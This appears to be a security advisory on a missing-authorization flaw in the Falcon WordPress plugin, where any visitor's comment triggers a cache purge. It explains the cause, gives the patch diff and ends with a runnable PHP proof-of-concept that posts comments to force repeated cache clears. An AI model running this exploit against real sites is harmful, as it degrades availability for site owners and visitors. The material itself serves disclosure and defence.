Atomic Edge analysis of CVE-2026-59531:
The Falcon – WordPress Optimizations & Tweaks plugin, in versions up to and including 2.10.0, suffers from a missing authorization vulnerability. The flaw allows unauthenticated attackers to trigger cache purging by submitting a crafted comment. The issue resides in the cache management component, specifically in the way comment insertion events are handled. The vulnerability has a CVSS score of 5.3, indicating a medium severity.
Root Cause:
The vulnerability originates in the `falcon/src/Components/Cache/Manager.php` file. The cache clear event registration array (lines 77-83) includes the action `’wp_insert_comment’`. This action fires when any comment is inserted into the database, including comments that are not yet approved. The `clear_cache()` method (lines 98-102) performs a simple deletion of all HTML cache files in the cache directory. The handler does not verify user capabilities, nonce, or any authentication. In WordPress, the `wp_insert_comment` action is triggered by unauthenticated users when they submit a comment through standard comment forms. The vulnerable code registers this action as a cache invalidation trigger but lacks a capability check, allowing any visitor to force a cache clear.
Exploitation:
An unauthenticated attacker can exploit this by submitting a comment to any post that accepts comments. The attack vector is the standard WordPress comment submission endpoint, typically via a POST request to `wp-comments-post.php` with parameters such as `comment`, `author`, `email`, `url`, and `comment_post_ID`. Because the plugin registers the `wp_insert_comment` hook, the cache clearing function executes immediately after the comment is stored. This can be performed repeatedly to cause a persistent denial of service by constantly flushing the cache, degrading site performance and increasing server load. The attack does not require any special privileges or bypassing nonce checks, as comment submission is publicly accessible.
Patch Analysis:
The patch modifies the event registration and adds a new method. In `falcon/src/Components/Cache/Manager.php`, the patch removes `’wp_insert_comment’` from the cache invalidation events list (diff line 80). Instead, it introduces a new method `clear_cache_on_insert_comment( $comment_id, $comment )` (lines 97-103) that checks if the comment is approved (`$comment->comment_approved === ‘1’`) before calling `clear_cache()`. This method is presumably hooked to the `wp_insert_comment` action via a separate registration (not shown in the diff). The change ensures that only approved comments trigger cache invalidation, preventing unauthenticated spam comments from exhausting server resources. The patch also addresses unrelated changes in the cache serving logic, but the core security fix is the approved-comment check.
Impact:
Successful exploitation allows an unauthenticated attacker to repeatedly clear the site’s cache, causing a denial-of-service condition. The impact includes increased server load, slower page responses, and potential downtime for high-traffic sites. While the vulnerability does not lead to data exposure, privilege escalation, or remote code execution, it can be used to disrupt service availability. The lack of authentication and the ease of automation make this a practical attack for resource exhaustion.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/falcon/falcon.php
+++ b/falcon/falcon.php
@@ -3,7 +3,7 @@
* Plugin Name: Falcon
* Plugin URI: https://wpfalcon.pro
* Description: WordPress optimizations & tweaks
- * Version: 2.10.0
+ * Version: 2.10.1
* Author: eLightUp
* Author URI: https://elightup.com
* License: GPL2+
--- a/falcon/src/Components/Cache/Manager.php
+++ b/falcon/src/Components/Cache/Manager.php
@@ -77,7 +77,6 @@
'trashed_post',
'edit_term',
'delete_term',
- 'wp_insert_comment',
'edit_comment',
'delete_comment',
'transition_comment_status',
@@ -95,6 +94,12 @@
}
}
+ public function clear_cache_on_insert_comment( $comment_id, $comment ): void {
+ if ( $comment->comment_approved === '1' ) {
+ $this->clear_cache();
+ }
+ }
+
public function clear_cache(): void {
array_map( 'wp_delete_file', glob( $this->cache_dir . '/*.html' ) );
}
--- a/falcon/src/Components/Cache/Serve.php
+++ b/falcon/src/Components/Cache/Serve.php
@@ -81,7 +81,7 @@
// Don't cache requests to PHP files like wp-login.php
// These files are still use advanced-cache.php
- $path = $this->get_path();
+ $path = parse_url( $_SERVER['REQUEST_URI'], PHP_URL_PATH );
if ( str_contains( $path, '.php' ) ) {
return false;
}
@@ -119,14 +119,7 @@
}
private function get_cache_file(): string {
- $hash = md5( $this->get_path() );
+ $hash = md5( $_SERVER['REQUEST_URI'] );
return WP_CONTENT_DIR . '/uploads/cache/' . $hash . '.html';
}
-
- private function get_path(): string {
- $path = parse_url( $_SERVER['REQUEST_URI'], PHP_URL_PATH );
- $path = trim( $path, '/' );
-
- return $path === '' ? '/' : $path;
- }
}
--- a/falcon/vendor/composer/installed.php
+++ b/falcon/vendor/composer/installed.php
@@ -1,9 +1,9 @@
<?php return array(
'root' => array(
'name' => 'elightup/falcon',
- 'pretty_version' => '2.10.0',
- 'version' => '2.10.0.0',
- 'reference' => '903bcdd2f1ba024a400ca55516d6613b9ef3d133',
+ 'pretty_version' => '2.10.1',
+ 'version' => '2.10.1.0',
+ 'reference' => 'b1a4e73836bb7afb93272ed131cb0a5e52410d0a',
'type' => 'wordpress-plugin',
'install_path' => __DIR__ . '/../../',
'aliases' => array(),
@@ -11,9 +11,9 @@
),
'versions' => array(
'elightup/falcon' => array(
- 'pretty_version' => '2.10.0',
- 'version' => '2.10.0.0',
- 'reference' => '903bcdd2f1ba024a400ca55516d6613b9ef3d133',
+ 'pretty_version' => '2.10.1',
+ 'version' => '2.10.1.0',
+ 'reference' => 'b1a4e73836bb7afb93272ed131cb0a5e52410d0a',
'type' => 'wordpress-plugin',
'install_path' => __DIR__ . '/../../',
'aliases' => array(),
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-59531 - Falcon – WordPress Optimizations & Tweaks <= 2.10.0 - Missing Authorization
/**
* PoC: Trigger cache purge via unauthenticated comment insertion.
*
* This script sends a crafted comment to a WordPress site running the
* vulnerable Falcon plugin. The comment triggers the 'wp_insert_comment'
* hook, which calls the plugin's cache clearing function without any
* authorization checks.
*/
// Target WordPress site URL (change this)
$target_url = 'http://example.com';
// Target post ID (change this to a valid post with comments enabled)
$post_id = 1;
// Attacker-controlled comment data
$comment_data = array(
'comment_post_ID' => $post_id,
'comment_author' => 'attacker',
'comment_author_email' => 'attacker@example.com',
'comment' => 'This is a test comment to trigger cache purge.',
'comment_parent' => 0,
);
// cURL initialization
$ch = curl_init();
// Set cURL options
curl_setopt_array($ch, array(
CURLOPT_URL => $target_url . '/wp-comments-post.php',
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query($comment_data),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => false,
CURLOPT_HEADER => true,
CURLOPT_TIMEOUT => 10,
CURLOPT_SSL_VERIFYPEER => true,
CURLOPT_HTTPHEADER => array(
'User-Agent: Mozilla/5.0 (compatible; AtomicEdgeCVE/1.0)'
),
));
// Execute the request
$response = curl_exec($ch);
// Check for cURL errors
if (curl_errno($ch)) {
fprintf(STDERR, "[!] cURL error: %sn", curl_error($ch));
curl_close($ch);
exit(1);
}
// Get HTTP status code
$status = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Output result
if ($status >= 200 && $status < 300) {
echo "[+] Request sent successfully. HTTP status: $statusn";
echo "[+] If the request was processed, the Falcon cache may have been cleared.n";
} else {
echo "[-] Request failed. HTTP status: $statusn";
}
// Note: This PoC demonstrates the unauthenticated cache purge.
// In a real attack, an attacker would repeat this to cause repeated cache clears.
?>
